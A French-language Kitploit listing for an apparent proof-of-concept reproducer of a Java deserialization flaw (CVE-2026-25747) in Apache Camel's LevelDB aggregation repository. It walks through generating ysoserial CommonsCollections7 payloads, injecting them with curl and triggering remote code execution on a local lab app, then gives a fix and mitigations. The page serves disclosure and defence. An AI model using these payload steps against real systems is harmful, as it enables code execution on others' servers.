Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-25747
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Reproducteur de vulnérabilité de désérialisation LevelDB

Ce projet démontre une vulnérabilité de désérialisation Java dans le référentiel d'agrégation LevelDB d'Apache Camel, similaire à CVE-2024-23114 (qui affectait le référentiel d'agrégation Cassandra).

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-leveldb
Classe affectéeDefaultLevelDBSerializer.java
Méthodes vulnérablesdeserializeKey(), deserializeExchange()
CWECWE-502 : Désérialisation de données non fiables
ImpactExécution de code à distance (RCE)
Versions affectéesToutes les versions, y compris la 4.17.0 (non corrigée au moment des tests)

Détails techniques

La classe DefaultLevelDBSerializer utilise un ObjectInputStream brut sans aucun filtrage :

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

Comparez ceci à l'implémentation Cassandra corrigée (depuis Camel 4.4.0) :

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

Prérequis

  • Java 17+
  • Maven 3.8+
  • ysoserial (pour la génération de charges utiles)

Étapes de reproduction

Étape 1 : Compiler et démarrer l'application

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Étape 2 : Initialiser la base de données LevelDB

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

Sortie attendue :

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

Étape 3 : Générer une charge utile malveillante

Téléchargez ysoserial et générez une charge utile :

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Étape 4 : Injecter la charge utile dans LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Sortie attendue :

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

Étape 5 : Déclencher la désérialisation (RCE !)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

Cela itérera sur toutes les clés et appellera repo.get(), ce qui déclenche la désérialisation !

Étape 6 : Vérifier l'exploitation

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

Si le fichier /tmp/pwned existe, l'exploitation a réussi !

Vecteurs d'attaque

La vulnérabilité peut être déclenchée par plusieurs chemins :

  1. Redémarrage de l'application : au démarrage, Camel récupère les agrégations incomplètes depuis LevelDB
  2. Mécanisme de récupération : l'analyse de récupération périodique désérialise les échanges stockés
  3. Accès direct : tout appel get() sur le référentiel déclenche la désérialisation

Conditions d'exploitation

Pour une exploitation réussie :

  1. Accès en écriture à LevelDB : l'attaquant doit pouvoir écrire dans le fichier de base de données LevelDB

    • Système de fichiers partagé
    • Stockage compromis
    • Une autre vulnérabilité permettant l'écriture de fichiers
  2. Bibliothèque de gadgets sur le classpath : une bibliothèque contenant des chaînes de gadgets exploitables doit être présente

    • commons-collections:3.2.1 (gadgets CommonsCollections1-7)
    • org.springframework:spring-core (gadgets Spring)
    • Beaucoup d'autres (voir ysoserial)

Comparaison avec CVE-2024-23114

Correctif recommandé

Appliquez le même correctif que pour Cassandra :

  1. Utiliser ClassLoadingAwareObjectInputStream au lieu d'un ObjectInputStream brut
  2. Ajouter un ObjectInputFilter configurable avec des valeurs par défaut sûres
  3. Filtre par défaut : "java.**;org.apache.camel.**;!*"

Exemple de correctif pour DefaultLevelDBSerializer.java :

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

Atténuation

En attendant qu'un correctif soit publié :

  1. Restreindre l'accès aux fichiers : assurez-vous que les fichiers LevelDB ne sont accessibles en écriture que par l'application Camel
  2. Supprimer les bibliothèques de gadgets : si possible, supprimez ou mettez à niveau les bibliothèques vulnérables comme commons-collections 3.x
  3. Utiliser un sérialiseur alternatif : configurez JacksonLevelDBSerializer au lieu de DefaultLevelDBSerializer
  4. Segmentation du réseau : isolez les systèmes utilisant l'agrégation LevelDB

Fichiers

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

Avertissement

Ce reproducteur est fourni à des fins de recherche en sécurité et de tests autorisés uniquement. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil
AspectCassandra (CVE-2024-23114)LevelDB (ce problème)
StatutCorrigé dans 4.4.0NON CORRIGÉ dans 4.17.0
ObjectInputStreamUtilise ClassLoadingAwareObjectInputStreamUtilise ObjectInputStream brut
Filtre de désérialisation"java.**;org.apache.camel.**;!*"Aucun
JIRACAMEL-20306Pas encore déposé